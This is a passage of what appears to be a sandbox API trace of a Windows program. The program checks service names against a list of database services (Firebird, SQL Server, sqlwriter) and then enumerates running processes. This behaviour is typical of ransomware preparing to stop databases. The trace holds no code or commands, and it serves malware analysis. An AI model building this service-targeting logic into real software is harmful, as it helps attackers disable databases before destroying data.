[0312.346] lstrlenW (lpString="DPS") returned 3 [0312.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0312.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0312.346] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0312.346] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0312.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0312.346] lstrlenW (lpString="DusmSvc") returned 7 [0312.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0312.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0312.346] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0312.346] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0312.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0312.346] lstrlenW (lpString="EventLog") returned 8 [0312.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0312.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0312.346] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0312.347] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0312.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0312.347] lstrlenW (lpString="EventSystem") returned 11 [0312.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0312.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0312.347] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0312.347] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0312.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0312.347] lstrlenW (lpString="FontCache") returned 9 [0312.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0312.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0312.347] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0312.347] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0312.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0312.347] lstrlenW (lpString="gpsvc") returned 5 [0312.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0312.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0312.348] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0312.348] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0312.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0312.348] lstrlenW (lpString="iphlpsvc") returned 8 [0312.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0312.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0312.348] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0312.348] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0312.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0312.348] lstrlenW (lpString="KeyIso") returned 6 [0312.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0312.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0312.348] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0312.348] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0312.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0312.348] lstrlenW (lpString="LanmanServer") returned 12 [0312.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0312.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0312.348] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0312.348] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0312.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0312.348] lstrlenW (lpString="LanmanWorkstation") returned 17 [0312.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0312.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0312.349] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0312.349] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0312.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0312.349] lstrlenW (lpString="lfsvc") returned 5 [0312.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0312.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0312.349] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0312.349] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0312.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0312.349] lstrlenW (lpString="lmhosts") returned 7 [0312.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0312.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0312.349] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0312.349] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0312.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0312.349] lstrlenW (lpString="LSM") returned 3 [0312.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0312.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0312.349] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0312.349] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0312.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0312.349] lstrlenW (lpString="MapsBroker") returned 10 [0312.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0312.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0312.349] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0312.349] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0312.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0312.349] lstrlenW (lpString="MpsSvc") returned 6 [0312.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0312.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0312.350] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0312.351] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0312.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0312.351] lstrlenW (lpString="NcbService") returned 10 [0312.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0312.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0312.351] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0312.351] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0312.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0312.351] lstrlenW (lpString="netprofm") returned 8 [0312.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0312.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0312.351] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0312.351] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0312.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0312.351] lstrlenW (lpString="NgcSvc") returned 6 [0312.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0312.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0312.351] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0312.352] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0312.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0312.352] lstrlenW (lpString="NlaSvc") returned 6 [0312.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0312.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0312.352] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0312.352] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0312.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0312.352] lstrlenW (lpString="nsi") returned 3 [0312.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0312.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0312.352] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0312.352] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0312.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0312.352] lstrlenW (lpString="PcaSvc") returned 6 [0312.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0312.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0312.353] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0312.353] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0312.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0312.353] lstrlenW (lpString="PlugPlay") returned 8 [0312.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0312.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0312.353] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0312.353] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0312.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0312.353] lstrlenW (lpString="Power") returned 5 [0312.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0312.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0312.353] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0312.353] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0312.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0312.353] lstrlenW (lpString="ProfSvc") returned 7 [0312.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0312.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0312.353] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0312.353] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0312.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0312.353] lstrlenW (lpString="RpcEptMapper") returned 12 [0312.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0312.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0312.353] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0312.353] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0312.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0312.353] lstrlenW (lpString="RpcSs") returned 5 [0312.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0312.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0312.354] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0312.354] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0312.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0312.354] lstrlenW (lpString="SamSs") returned 5 [0312.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0312.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0312.354] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0312.354] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0312.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0312.354] lstrlenW (lpString="Schedule") returned 8 [0312.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0312.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0312.354] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0312.354] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0312.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0312.354] lstrlenW (lpString="SecurityHealthService") returned 21 [0312.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0312.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0312.354] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0312.354] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0312.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0312.354] lstrlenW (lpString="SENS") returned 4 [0312.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0312.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0312.354] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0312.354] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0312.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0312.355] lstrlenW (lpString="ShellHWDetection") returned 16 [0312.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0312.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0312.355] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0312.355] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0312.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0312.355] lstrlenW (lpString="Spooler") returned 7 [0312.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0312.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0312.355] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0312.355] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0312.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0312.355] lstrlenW (lpString="SSDPSRV") returned 7 [0312.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0312.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0312.355] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0312.355] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0312.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0312.355] lstrlenW (lpString="StateRepository") returned 15 [0312.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0312.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0312.355] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0312.355] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0312.355] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0312.355] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x414 [0312.359] Process32FirstW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0312.360] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0312.361] lstrlenW (lpString="System") returned 6 [0312.361] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0312.362] lstrlenW (lpString="smss.exe") returned 8 [0312.362] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0312.362] lstrlenW (lpString="csrss.exe") returned 9 [0312.362] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0312.363] lstrlenW (lpString="wininit.exe") returned 11 [0312.363] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0312.364] lstrlenW (lpString="csrss.exe") returned 9 [0312.364] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0312.365] lstrlenW (lpString="winlogon.exe") returned 12 [0312.365] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0312.366] lstrlenW (lpString="services.exe") returned 12 [0312.366] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0312.367] lstrlenW (lpString="lsass.exe") returned 9 [0312.367] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0312.368] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0312.368] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0312.368] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0312.368] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.369] lstrlenW (lpString="svchost.exe") returned 11 [0312.369] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.370] lstrlenW (lpString="svchost.exe") returned 11 [0312.371] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0312.371] lstrlenW (lpString="dwm.exe") returned 7 [0312.372] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.372] lstrlenW (lpString="svchost.exe") returned 11 [0312.373] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.373] lstrlenW (lpString="svchost.exe") returned 11 [0312.373] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.374] lstrlenW (lpString="svchost.exe") returned 11 [0312.374] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.375] lstrlenW (lpString="svchost.exe") returned 11 [0312.375] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.376] lstrlenW (lpString="svchost.exe") returned 11 [0312.376] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.377] lstrlenW (lpString="svchost.exe") returned 11 [0312.377] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.377] lstrlenW (lpString="svchost.exe") returned 11 [0312.377] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.378] lstrlenW (lpString="svchost.exe") returned 11 [0312.378] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.379] lstrlenW (lpString="svchost.exe") returned 11 [0312.379] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0312.380] lstrlenW (lpString="svchost.exe") returned 11 [0312.380] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0312.381] lstrlenW (lpString="spoolsv.exe") returned 11 [0312.381] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0312.382] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0312.382] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0312.383] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0312.383] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0312.383] lstrlenW (lpString="Memory Compression") returned 18 [0312.383] Process32NextW (in: hSnapshot=0x414, lppe=0x25ffd2c | out: 